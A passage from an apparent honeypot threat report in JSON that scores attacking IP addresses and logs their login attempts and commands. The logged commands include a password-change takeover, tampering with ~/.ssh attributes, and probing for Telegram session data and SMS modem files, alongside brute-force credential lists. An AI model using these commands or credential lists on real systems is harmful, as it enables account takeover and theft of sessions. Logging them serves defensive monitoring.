        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 34.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T13:33:02.347000+00:00",
        "last_seen_30d": "2026-03-30T13:42:17.187000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 87,
        "Suricata": 39
      }
    },
    "103.106.194.74": {
      "attack_count": 84,
      "first_seen": "2026-03-26T00:33:56.485Z",
      "last_seen": "2026-03-26T00:40:03.338Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "geo",
        "345gs5662d34",
        "root",
        "supermicro"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Password#123",
        "Supermicro123",
        "geopass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"geopass\\nVzml7tnO6FR5\\nVzml7tnO6FR5\\n\"|passwd",
        "echo -e \"geopass\\nVzml7tnO6FR5\\nVzml7tnO6FR5\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 134319,
      "as_org": "Elyzium Technologies Pvt. Ltd.",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 95,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T00:33:56.485000+00:00",
        "last_seen_30d": "2026-03-26T00:40:57.476000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 11
      }
    },
    "175.107.233.121": {
      "attack_count": 50,
      "first_seen": "2026-03-09T13:33:51.597Z",
      "last_seen": "2026-03-09T13:39:16.056Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T13:33:51.597000+00:00",
        "last_seen_30d": "2026-03-09T13:40:17.329000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.237.164": {
      "attack_count": 50,
      "first_seen": "2026-03-13T18:08:21.084Z",
      "last_seen": "2026-03-13T18:13:46.523Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T18:08:21.084000+00:00",
        "last_seen_30d": "2026-03-13T18:14:49.316000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "161.35.172.20": {
      "attack_count": 37,
      "first_seen": "2026-03-02T10:45:29.626Z",
      "last_seen": "2026-03-02T11:37:28.862Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solana",
        "ubuntu"
      ],
      "passwords_attempted": [
        "sol",
        "solana",
        "ubuntu"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T10:41:56.271000+00:00",
        "last_seen_30d": "2026-03-02T11:38:38.195000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 22
      }
    },
    "1.245.207.104": {
      "attack_count": 36,
      "first_seen": "2026-03-21T20:41:56.148Z",
      "last_seen": "2026-03-21T20:45:07.256Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Daejeon",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T20:41:56.148000+00:00",
        "last_seen_30d": "2026-03-21T20:46:15.895000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 4
      }
    },
    "43.142.73.22": {
      "attack_count": 33,
      "first_seen": "2026-03-07T18:22:17.333Z",
      "last_seen": "2026-03-07T18:44:24.105Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "applmgr",
        "client1",
        "ehsan",
        "postgres",
        "victor",
        "vnc"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "12345678",
        "Postgres123!",
        "Vnc123",
        "victorpass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 6.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T18:22:17.333000+00:00",
        "last_seen_30d": "2026-03-07T18:52:53.327000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 18
      }
    },
    "175.170.144.17": {
      "attack_count": 27,
      "first_seen": "2026-03-04T07:38:35.504Z",
      "last_seen": "2026-03-04T08:05:35.988Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1qaz2WSX@",
        "AAA123456",
        "ruijie@123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Dalian",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:38:35.504000+00:00",
        "last_seen_30d": "2026-03-04T08:06:56.339000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 11
      }
    },
    "38.188.160.199": {
      "attack_count": 23,
      "first_seen": "2026-03-10T23:00:20.320Z",
      "last_seen": "2026-03-11T00:27:30.185Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "121277",
        "260384",
        "emplois",
        "goldfinger"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:00:20.320000+00:00",
        "last_seen_30d": "2026-03-11T00:28:36.493000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "178.62.234.186": {
      "attack_count": 20,
      "first_seen": "2026-03-03T19:44:27.194Z",
      "last_seen": "2026-03-03T19:46:30.290Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T19:44:27.194000+00:00",
        "last_seen_30d": "2026-03-03T19:47:37.788000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 8
      }
    },
    "122.228.86.100": {
      "attack_count": 15,
      "first_seen": "2026-03-09T03:35:27.240Z",
      "last_seen": "2026-03-09T03:35:59.364Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "Aa159357"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134771,
      "as_org": "WENZHOU, ZHEJIANG Province, P.R.China.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T03:35:27.240000+00:00",
        "last_seen_30d": "2026-03-09T03:37:08.361000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "209.38.136.79": {
      "attack_count": 12,
      "first_seen": "2026-03-06T02:12:56.625Z",
      "last_seen": "2026-03-22T22:53:14.718Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 62.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 115459,
        "days_active_30d": 17,
        "ports_targeted_30d": 63876,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-03-06T02:11:09+00:00",
        "last_seen_30d": "2026-03-22T22:54:24.333000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 102512,
        "Honeytrap": 12888,
        "Cowrie": 12,
        "Dionaea": 10,
        "ConPot": 9,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "117.72.86.161": {
      "attack_count": 10,
      "first_seen": "2026-03-27T03:52:53.118Z",
      "last_seen": "2026-03-27T04:28:47.995Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "testuser"
      ],
      "passwords_attempted": [
        "testuser"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141679,
      "as_org": "China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T03:52:53.118000+00:00",
        "last_seen_30d": "2026-03-27T04:38:54.520000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "165.22.81.160": {
      "attack_count": 10,
      "first_seen": "2026-03-02T06:50:35.930Z",
      "last_seen": "2026-03-02T06:57:36.275Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:50:35.930000+00:00",
        "last_seen_30d": "2026-03-02T07:07:45.751000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "38.188.160.218": {
      "attack_count": 10,
      "first_seen": "2026-03-10T23:16:17.259Z",
      "last_seen": "2026-03-10T23:42:45.111Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "franck1",
        "gomez1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:16:17.259000+00:00",
        "last_seen_30d": "2026-03-10T23:43:54.074000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "38.55.146.127": {
      "attack_count": 10,
      "first_seen": "2026-03-20T14:51:50.035Z",
      "last_seen": "2026-03-20T14:53:09.948Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400619,
      "as_org": "AROSSCLOUD INC.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T14:51:50.035000+00:00",
        "last_seen_30d": "2026-03-20T14:54:18.880000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "92.113.144.66": {
      "attack_count": 8,
      "first_seen": "2026-03-05T17:01:00.734Z",
      "last_seen": "2026-03-05T17:04:59.832Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Denmark",
      "country_code": "DK",
      "city": "N\u00f8rre \u00c5by",
      "asn": 44803,
      "as_org": "Webdock.io ApS",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T17:01:00.734000+00:00",
        "last_seen_30d": "2026-03-05T17:06:06.104000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "91.230.168.15": {
      "attack_count": 7,
      "first_seen": "2026-03-11T05:53:16.004Z",
      "last_seen": "2026-03-31T20:03:38.814Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 86.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 30,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T13:15:41+00:00",
        "last_seen_30d": "2026-03-31T21:04:38.086000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 81,
        "Honeytrap": 48,
        "Cowrie": 7,
        "ConPot": 3
      }
    },
    "103.139.154.160": {
      "attack_count": 6,
      "first_seen": "2026-03-15T15:04:09.577Z",
      "last_seen": "2026-03-17T09:27:37.032Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135918,
      "as_org": "VIET DIGITAL TECHNOLOGY LIABILITY COMPANY",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T15:04:09.577000+00:00",
        "last_seen_30d": "2026-03-17T09:29:45.540000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "162.142.125.223": {
      "attack_count": 6,
      "first_seen": "2026-03-07T00:40:23.017Z",
      "last_seen": "2026-03-07T00:40:59.877Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 61.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.5,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 22,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T02:34:09.495000+00:00",
        "last_seen_30d": "2026-03-23T14:59:19.577000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Honeytrap": 44,
        "Cowrie": 6,
        "Dionaea": 6,
        "Dicompot": 1
      }
    },
    "205.210.31.67": {
      "attack_count": 6,
      "first_seen": "2026-03-09T10:44:47.905Z",
      "last_seen": "2026-03-22T06:48:07.849Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 125,
        "days_active_30d": 30,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T01:37:36.586000+00:00",
        "last_seen_30d": "2026-03-31T06:51:22.016000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 36,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "35.202.9.133": {
      "attack_count": 6,
      "first_seen": "2026-03-05T21:17:03.152Z",
      "last_seen": "2026-03-26T18:06:11.541Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.8,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 26,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-05T09:11:49.633000+00:00",
        "last_seen_30d": "2026-03-30T03:09:21.846000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Cowrie": 6,
        "Honeytrap": 6,
        "Dionaea": 3,
        "Tanner": 2
      }
    },
    "115.190.51.71": {
      "attack_count": 5,
      "first_seen": "2026-03-14T06:20:17.327Z",
      "last_seen": "2026-03-14T06:20:20.192Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "michael"
      ],
      "passwords_attempted": [
        "12345678"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T06:20:17.327000+00:00",
        "last_seen_30d": "2026-03-14T06:21:24.819000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "116.110.155.126": {
      "attack_count": 5,
      "first_seen": "2026-03-15T22:31:00.860Z",
      "last_seen": "2026-03-15T22:31:11.276Z",
      "sessions": 1,
      "ports": [],
